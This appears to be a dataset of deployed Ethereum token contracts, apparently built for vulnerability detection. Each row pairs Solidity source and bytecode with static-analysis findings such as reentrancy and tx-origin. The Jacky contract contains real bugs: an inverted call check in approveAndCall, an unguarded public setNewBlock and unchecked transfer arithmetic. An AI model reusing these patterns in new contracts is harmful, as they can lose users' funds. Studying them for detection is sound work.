11c38565b5098975050505050505050565b600060208284031215611c7c57600080fd5b8151801515811461074d57600080fd5b600060208284031215611c9e57600080fd5b813562ffffff8116811461074d57600080fd5b600080600060608486031215611cc657600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611d0c57858101830151858201604001528201611cf0565b81811115611d1e576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611db95784516001600160a01b031683529383019391830191600101611d94565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ded57611ded611ea0565b500190565b600082611e0f57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611e2e57611e2e611ea0565b500290565b600082821015611e4557611e45611ea0565b500390565b600181811c90821680611e5e57607f821691505b60208210811415611e7f57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415611e9957611e99611ea0565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461166957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208373f765400ee79c9c19c5934291cefdb3425bf9bd5b4bd5a8c049b46d43e37064736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
276
0x9b6947aa57d7dd03b692de8d4cacfc68d0884dda
pragma solidity ^0.4.21; contract AbstractTRMBalances { mapping(address => bool) public oldBalances; } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); Transfer(burner, address(0), _value); } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BurnableToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will recieve the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); //Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract MonopolyCoin is MintableToken { string public constant name = "Monopoly"; string public constant symbol = "MNP"; uint32 public constant decimals = 18; }
0x6060604052600436106100da5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b81146100df57806306fdde0314610106578063095ea7b31461019057806318160ddd146101b257806323b872dd146101d7578063313ce567146101ff57806340c10f191461022b57806342966c681461024d57806370a08231146102655780637d64bcb4146102845780638da5cb5b1461029757806395d89b41146102c6578063a9059cbb146102d9578063dd62ed3e146102fb578063f2fde38b14610320575b600080fd5b34156100ea57600080fd5b6100f261033f565b604051901515815260200160405180910390f35b341561011157600080fd5b610119610360565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561015557808201518382015260200161013d565b50505050905090810190601f1680156101825780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019b57600080fd5b6100f2600160a060020a0360043516602435610397565b34156101bd57600080fd5b6101c561043d565b60405190815260200160405180910390f35b34156101e257600080fd5b6100f2600160a060020a0360043581169060243516604435610443565b341561020a57600080fd5b610212610544565b60405163ffffffff909116815260200160405180910390f35b341561023657600080fd5b6100f2600160a060020a0360043516602435610549565b341561025857600080fd5b610263600435610616565b005b341561027057600080fd5b6101c5600160a060020a03600435166106fe565b341561028f57600080fd5b6100f2610719565b34156102a257600080fd5b6102aa61079e565b604051600160a060020a03909116815260200160405180910390f35b34156102d157600080fd5b6101196107ad565b34156102e457600080fd5b6100f2600160a060020a03600435166024356107e4565b341561030657600080fd5b6101c5600160a060020a0360043581169060243516610891565b341561032b57600080fd5b610263600160a060020a03600435166108bc565b60035474010000000000000000000000000000000000000000900460ff1681565b60408051908101604052600881527f4d6f6e6f706f6c79000000000000000000000000000000000000000000000000602082015281565b60008115806103c95750600160a060020a03338116600090815260026020908152604080832093871683529290522054155b15156103d457600080fd5b600160a060020a03338116600081815260026020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005481565b600160a060020a03808416600090815260026020908152604080832033851684528252808320549386168352600190915281205490919061048a908463ffffffff61091b16565b600160a060020a0380861660009081526001602052604080822093909355908716815220546104bf908463ffffffff61093116565b600160a060020a0386166000908152600160205260409020556104e8818463ffffffff61093116565b600160a060020a03808716600081815260026020908152604080832033861684529091529081902093909355908616916000805160206109448339815191529086905190815260200160405180910390a3506001949350505050565b601281565b60035460009033600160a060020a0390811691161461056757600080fd5b60035474010000000000000000000000000000000000000000900460ff161561058f57600080fd5b6000546105a2908363ffffffff61091b16565b6000908155600160a060020a0384168152600160205260409020546105cd908363ffffffff61091b16565b600160a060020a0384166000818152600160205260408082209390935590916000805160206109448339815191529085905190815260200160405180910390a350600192915050565b600160a060020a03331660009081526001602052604081205482111561063b57600080fd5b5033600160a060020a0381166000908152600160205260409020546106609083610931565b600160a060020a0382166000908152600160205260408120919091555461068d908363ffffffff61093116565b600055600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a26000600160a060020a0382166000805160206109448339815191528460405190815260200160405180910390a35050565b600160a060020a031660009081526001602052604090205490565b60035460009033600160a060020a0390811691161461073757600080fd5b6003805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600354600160a060020a031681565b60408051908101604052600381527f4d4e500000000000000000000000000000000000000000000000000000000000602082015281565b600160a060020a03331660009081526001602052604081205461080d908363ffffffff61093116565b600160a060020a033381166000908152600160205260408082209390935590851681522054610842908363ffffffff61091b16565b600160a060020a0380851660008181526001602052604090819020939093559133909116906000805160206109448339815191529085905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a039081169116146108d757600080fd5b600160a060020a03811615156108ec57600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008282018381101561092a57fe5b9392505050565b60008282111561093d57fe5b509003905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582098df9501b01b30569d5cb8405cdce671d4d8a8a839bde9a0ce314128df5a85310029
{"success": true, "error": null, "results": {}}
277
0x033d26caeac26d2740b196673027fc7726b7c3de
/** *Submitted for verification at Etherscan.io on 2019-07-04 */ pragma solidity ^0.4.25; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event setNewBlockEvent(string SecretKey_Pre, string Name_New, string TxHash_Pre, string DigestCode_New, string Image_New, string Note_New); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can&#39;t be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn&#39;t wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; emit Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); using SafeMath for uint256; bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) public hasMintPermission canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() public onlyOwner canMint returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { using SafeMath for uint256; event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); } } contract Jacky is MintableToken, BurnableToken { constructor() public { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name = "Jacky"; string public symbol = "JCK"; uint public constant decimals = 0; uint256 public constant INITIAL_SUPPLY = 100 * (10 ** uint256(decimals)); string public Image_root = "undefined"; string public Note_root = "https://swarm.chainbacon.com/bzz:/b7374ef8ecd0c68ebefb53d0392fe3b6d9a1177b7c3b70e4222071f15a9a1073/"; string public DigestCode_root = "1ebae3cc8bda33b6894e92af1529cbed95bc8e0885eb97abdbad8fec83bfe73f"; function getIssuer() public pure returns(string) { return "Jacky"; } function getArtist() public pure returns(string) { return "Jacky"; } string public TxHash_root = "genesis"; string public ContractSource = ""; string public CodeVersion = "v0.1"; string public SecretKey_Pre = ""; string public Name_New = ""; string public TxHash_Pre = ""; string public DigestCode_New = ""; string public Image_New = ""; string public Note_New = ""; function getName() public view returns(string) { return name; } function getDigestCodeRoot() public view returns(string) { return DigestCode_root; } function getTxHashRoot() public view returns(string) { return TxHash_root; } function getImageRoot() public view returns(string) { return Image_root; } function getNoteRoot() public view returns(string) { return Note_root; } function getCodeVersion() public view returns(string) { return CodeVersion; } function getContractSource() public view returns(string) { return ContractSource; } function getSecretKeyPre() public view returns(string) { return SecretKey_Pre; } function getNameNew() public view returns(string) { return Name_New; } function getTxHashPre() public view returns(string) { return TxHash_Pre; } function getDigestCodeNew() public view returns(string) { return DigestCode_New; } function getImageNew() public view returns(string) { return Image_New; } function getNoteNew() public view returns(string) { return Note_New; } function setNewBlock(string _SecretKey_Pre, string _Name_New, string _TxHash_Pre, string _DigestCode_New, string _Image_New, string _Note_New ) returns (bool success) { SecretKey_Pre = _SecretKey_Pre; Name_New = _Name_New; TxHash_Pre = _TxHash_Pre; DigestCode_New = _DigestCode_New; Image_New = _Image_New; Note_New = _Note_New; emit setNewBlockEvent(SecretKey_Pre, Name_New, TxHash_Pre, DigestCode_New, Image_New, Note_New); return true; } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn&#39;t have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. require(!_spender.call(bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)); return true; } }
0x608060405260043610610225576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461022a57806306fdde0314610259578063095ea7b3146102e957806317d7de7c1461034e57806318160ddd146103de57806319c59768146104095780631e1fc057146104995780632272f1a31461052957806323b872dd146105b95780632f34ad851461063e5780632f58b235146106ce5780632ff2e9dc1461075e578063313ce56714610789578063340a5f2d146107b457806338e135061461084457806339f68111146108d457806340c10f191461096457806342966c68146109c957806352556421146109f6578063529d2cea14610a8657806358dfd4e514610b1657806359e0568514610ba65780636dae214714610c3657806370a0823114610cc65780637584f24b14610d1d5780637d64bcb414610dad5780638a43c8e614610ddc5780638da5cb5b14610fbb5780638f1a9d791461101257806395d89b41146110a25780639a677c6914611132578063a029b096146111c2578063a9059cbb14611252578063ad396260146112b7578063ba270c7114611347578063c59e1767146113d7578063cae9ca5114611467578063ceb6291414611512578063d74d8808146115a2578063dd62ed3e14611632578063e03535be146116a9578063e094826b14611739578063f0fbaea6146117c9578063f144820e14611859578063f2fde38b146118e9575b600080fd5b34801561023657600080fd5b5061023f61192c565b604051808215151515815260200191505060405180910390f35b34801561026557600080fd5b5061026e61193f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102ae578082015181840152602081019050610293565b50505050905090810190601f1680156102db5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102f557600080fd5b50610334600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506119dd565b604051808215151515815260200191505060405180910390f35b34801561035a57600080fd5b50610363611acf565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a3578082015181840152602081019050610388565b50505050905090810190601f1680156103d05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103ea57600080fd5b506103f3611b71565b6040518082815260200191505060405180910390f35b34801561041557600080fd5b5061041e611b77565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561045e578082015181840152602081019050610443565b50505050905090810190601f16801561048b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104a557600080fd5b506104ae611c19565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104ee5780820151818401526020810190506104d3565b50505050905090810190601f16801561051b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561053557600080fd5b5061053e611cb7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561057e578082015181840152602081019050610563565b50505050905090810190601f1680156105ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105c557600080fd5b50610624600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611d59565b604051808215151515815260200191505060405180910390f35b34801561064a57600080fd5b50610653611fd2565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610693578082015181840152602081019050610678565b50505050905090810190601f1680156106c05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156106da57600080fd5b506106e3612074565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610723578082015181840152602081019050610708565b50505050905090810190601f1680156107505780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561076a57600080fd5b50610773612116565b6040518082815260200191505060405180910390f35b34801561079557600080fd5b5061079e612121565b6040518082815260200191505060405180910390f35b3480156107c057600080fd5b506107c9612126565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108095780820151818401526020810190506107ee565b50505050905090810190601f1680156108365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561085057600080fd5b506108596121c8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561089957808201518184015260208101905061087e565b50505050905090810190601f1680156108c65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156108e057600080fd5b506108e9612266565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561092957808201518184015260208101905061090e565b50505050905090810190601f1680156109565780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561097057600080fd5b506109af600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612304565b604051808215151515815260200191505060405180910390f35b3480156109d557600080fd5b506109f4600480360381019080803590602001909291905050506124ea565b005b348015610a0257600080fd5b50610a0b61264a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a4b578082015181840152602081019050610a30565b50505050905090810190601f168015610a785780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610a9257600080fd5b50610a9b612687565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610adb578082015181840152602081019050610ac0565b50505050905090810190601f168015610b085780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610b2257600080fd5b50610b2b612729565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610b6b578082015181840152602081019050610b50565b50505050905090810190601f168015610b985780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610bb257600080fd5b50610bbb6127c7565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610bfb578082015181840152602081019050610be0565b50505050905090810190601f168015610c285780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610c4257600080fd5b50610c4b612865565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610c8b578082015181840152602081019050610c70565b50505050905090810190601f168015610cb85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610cd257600080fd5b50610d07600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612907565b6040518082815260200191505060405180910390f35b348015610d2957600080fd5b50610d3261294f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610d72578082015181840152602081019050610d57565b50505050905090810190601f168015610d9f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610db957600080fd5b50610dc26129f1565b604051808215151515815260200191505060405180910390f35b348015610de857600080fd5b50610fa1600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050612ab9565b604051808215151515815260200191505060405180910390f35b348015610fc757600080fd5b50610fd0612ec4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561101e57600080fd5b50611027612eea565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561106757808201518184015260208101905061104c565b50505050905090810190601f1680156110945780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156110ae57600080fd5b506110b7612f88565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156110f75780820151818401526020810190506110dc565b50505050905090810190601f1680156111245780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561113e57600080fd5b50611147613026565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561118757808201518184015260208101905061116c565b50505050905090810190601f1680156111b45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156111ce57600080fd5b506111d76130c8565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156112175780820151818401526020810190506111fc565b50505050905090810190601f1680156112445780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561125e57600080fd5b5061129d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061316a565b604051808215151515815260200191505060405180910390f35b3480156112c357600080fd5b506112cc6132d0565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561130c5780820151818401526020810190506112f1565b50505050905090810190601f1680156113395780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561135357600080fd5b5061135c61336e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561139c578082015181840152602081019050611381565b50505050905090810190601f1680156113c95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156113e357600080fd5b506113ec613410565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561142c578082015181840152602081019050611411565b50505050905090810190601f1680156114595780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561147357600080fd5b506114f8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506134ae565b604051808215151515815260200191505060405180910390f35b34801561151e57600080fd5b5061152761374c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561156757808201518184015260208101905061154c565b50505050905090810190601f1680156115945780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156115ae57600080fd5b506115b76137ee565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156115f75780820151818401526020810190506115dc565b50505050905090810190601f1680156116245780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561163e57600080fd5b50611693600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061388c565b6040518082815260200191505060405180910390f35b3480156116b557600080fd5b506116be613913565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156116fe5780820151818401526020810190506116e3565b50505050905090810190601f16801561172b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561174557600080fd5b5061174e6139b1565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561178e578082015181840152602081019050611773565b50505050905090810190601f1680156117bb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156117d557600080fd5b506117de6139ee565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561181e578082015181840152602081019050611803565b50505050905090810190601f16801561184b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561186557600080fd5b5061186e613a8c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156118ae578082015181840152602081019050611893565b50505050905090810190601f1680156118db5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156118f557600080fd5b5061192a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613b2a565b005b600360149054906101000a900460ff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156119d55780601f106119aa576101008083540402835291602001916119d5565b820191906000526020600020905b8154815290600101906020018083116119b857829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200